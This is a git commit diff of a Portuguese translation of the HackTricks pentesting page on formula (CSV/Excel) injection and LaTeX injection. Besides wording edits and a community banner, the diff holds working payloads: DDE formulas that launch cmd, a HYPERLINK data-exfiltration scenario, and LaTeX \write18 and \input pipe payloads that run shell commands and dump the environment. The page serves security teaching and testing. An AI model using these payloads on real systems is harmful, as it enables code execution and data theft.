Translated ['pentesting-web/formula-csv-doc-latex-ghostscript-injection.

This commit is contained in:
Translator 2024-03-14 22:41:17 +00:00
parent 30c7cd4d28
commit db115cd6a9
2 changed files with 30 additions and 16 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 278 KiB

View file

@ -2,9 +2,9 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
@ -14,6 +14,14 @@ Outras formas de apoiar o HackTricks:
</details>
**Grupo de Segurança Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Injeção de Fórmula
### Informação
@ -21,10 +29,10 @@ Outras formas de apoiar o HackTricks:
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do excel.
{% hint style="danger" %}
Atualmente o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
Atualmente, o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
{% endhint %}
### [Lista de Palavras](https://github.com/payloadbox/csv-injection-payloads)
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
@ -39,20 +47,20 @@ DDE ("cmd";"/C calc";"!A0")A0
O exemplo a seguir foi retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos sendo explorada por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar os detalhes dos alunos. O método envolve o atacante injetando uma carga maliciosa na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
1. **Injeção de Payload Malicioso:**
1. **Injeção de Carga Maliciosa:**
* O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
* Essa fórmula é projetada para criar um hiperlink, mas aponta para um servidor malicioso controlado pelo atacante.
2. **Exportando Dados Comprometidos:**
* Professores, sem saber da comprometimento, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
* O arquivo CSV, quando aberto, ainda contém o payload malicioso. Esse payload aparece como um hiperlink clicável na planilha.
* O arquivo CSV, quando aberto, ainda contém a carga maliciosa. Essa carga aparece como um hiperlink clicável na planilha.
3. **Desencadeando o Ataque:**
* Um professor clica no hiperlink, acreditando ser uma parte legítima dos detalhes do aluno.
* Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
4. **Registrando os Dados:**
* O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
* O atacante pode então usar esses dados para vários propósitos maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
* O atacante pode então usar esses dados para vários fins maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
### RCE
@ -62,7 +70,7 @@ Em configurações específicas ou versões mais antigas do Excel, um recurso ch
* Navegue até Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo e habilite **Iniciar Servidor de Troca Dinâmica de Dados**.
Quando uma planilha com o payload malicioso é aberta (e se o usuário aceitar os avisos), o payload é executado. Por exemplo, para iniciar o aplicativo da calculadora, o payload seria:
Quando uma planilha com a carga maliciosa é aberta (e se o usuário aceitar os avisos), a carga é executada. Por exemplo, para iniciar o aplicativo da calculadora, a carga seria:
```markdown
`=cmd|' /C calc'!xxx`
```
@ -92,12 +100,12 @@ O Google Sheets oferece funções que podem ser exploradas para exfiltração de
## Injeção LaTeX
Normalmente, os servidores que você encontrará na internet que **convertem código LaTeX para PDF** usam **`pdflatex`**.\
Normalmente, os servidores que você encontrará na internet que **convertem código LaTeX em PDF** usam **`pdflatex`**.\
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
- **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
- **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Essa construção normalmente é desativada por motivos de segurança.
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
@ -136,7 +144,7 @@ Você pode precisar ajustar a injeção com wrappers como \[ ou $.
\write\outfile{Hello-world}
\closeout\outfile
```
### Execução de comando <a href="#command-execution" id="command-execution"></a>
### Execução de comando <a href="#execução-de-comando" id="execução-de-comando"></a>
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-lo.
```bash
@ -161,7 +169,7 @@ A entrada do comando será redirecionada para stdin, use um arquivo temporário
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres inválidos.
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres ruins.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
@ -189,16 +197,22 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Grupo de Segurança Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>